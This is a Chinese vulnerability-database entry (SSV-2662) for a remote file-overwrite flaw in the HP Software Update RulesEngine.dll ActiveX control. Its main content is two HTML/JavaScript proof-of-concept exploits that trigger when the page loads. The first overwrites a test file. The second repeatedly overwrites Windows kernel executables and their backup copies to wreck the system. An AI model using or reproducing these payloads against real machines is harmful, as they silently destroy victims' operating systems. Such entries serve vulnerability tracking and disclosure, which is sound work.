HP Software Update RulesEngine.dll控件远程文件覆盖漏洞

基本字段

漏洞编号：: SSV-2662

披露/发现时间：: 未知

提交时间：: 2007-12-24

漏洞等级：

漏洞类别：: 远程溢出

影响组件：: (3.0.8.4)

漏洞作者：: 未知

提交者：: Knownsec

CVE-ID：: 补充

CNNVD-ID：: 补充

CNVD-ID：: 补充

ZoomEye Dork：: 补充

来源

漏洞详情

贡献者 Knownsec 共获得 0KB

共 0 兑换了

PoC (非 pocsuite 插件)

贡献者 Knownsec 共获得 0.3KB

////////////////////////////////////////// //Remote Arbitrary File Corruption Exploit ////////////////////////////////////////// <html> <head> <script language="JavaScript"> var filePath="c:\\temp\\testfile.txt"; function spawn3() { o2obj.SaveToFile(filePath); } </script> </head> <body onload="spawn3()"> <object ID="o2obj" WIDTH=0 HEIGHT=0 classid="clsid:7CB9D4F5-C492-42A4-93B1-3F7D6946470D" </object> </body> </html> //////////////////////////////// //Remote Kernel Wreckage Exploit //////////////////////////////// // // // WARNING! THE REAL THING... // DON'T TRY THIS AT HOME! // THIS WILL DAMAGE YOUR // HP COMPUTER SYSTEM!!! // // //////////////////////////////// <html> <head> <script language="JavaScript"> function spawn3() { o2obj.EvaluateRules(); o2obj.SaveToFile("c:\\WINDOWS\\system32\\dllcache\\ntoskrnl.exe"); o2obj.SaveToFile("c:\\WINDOWS\\system32\\dllcache\\ntkrnlpa.exe"); o2obj.SaveToFile("c:\\WINDOWS\\system32\\dllcache\\ntkrnlmp.exe"); o2obj.SaveToFile("c:\\WINDOWS\\system32\\dllcache\\ntkrpamp.exe"); o2obj.SaveToFile("c:\\WINDOWS\\system32\\ntoskrnl.exe"); o2obj.SaveToFile("c:\\WINDOWS\\system32\\ntkrnlpa.exe"); o2obj.SaveToFile("c:\\WINDOWS\\Driver Cache\\i386\\ntoskrnl.exe"); o2obj.SaveToFile("c:\\WINDOWS\\Driver Cache\\i386\\ntkrnlpa.exe"); o2obj.SaveToFile("c:\\WINDOWS\\Driver Cache\\i386\\ntkrnlmp.exe"); o2obj.SaveToFile("c:\\WINDOWS\\Driver Cache\\i386\\ntkrpamp.exe"); o2obj.SaveToFile("c:\\WINDOWS\\Driver Cache\\i386\\sp2.cab"); o2obj.SaveToFile("c:\\WINDOWS\\Driver Cache\\i386\\driver.cab"); } function meltdown() { spawn3(); spawn3(); spawn3(); } </script> </head> <body onload="meltdown()"> <object ID="o2obj" WIDTH=0 HEIGHT=0 classid="clsid:7CB9D4F5-C492-42A4-93B1-3F7D6946470D" </object> </body> </html>

共 1 兑换

参考链接

解决方案

临时解决方案

官方解决方案

防护方案

匿名兑换PoC

生命线

发现/披露了漏洞
2007-12-24 提交了漏洞
2007-12-24 提交补充了漏洞详情
2007-12-24 提交更新了 PoC

HP Software Update RulesEngine.dll控件远程文件覆盖漏洞

基本字段

来源

漏洞详情

PoC (非 pocsuite 插件)

参考链接

解决方案

生命线

相关漏洞

评论前需绑定手机现在绑定

暂无评论

HP Software Update RulesEngine.dll控件远程文件覆盖漏洞

基本字段

来源

漏洞详情

PoC (非 pocsuite 插件)

参考链接

解决方案

生命线

相关漏洞

评论前需绑定手机 现在绑定

暂无评论

您好，

您好，

评论前需绑定手机现在绑定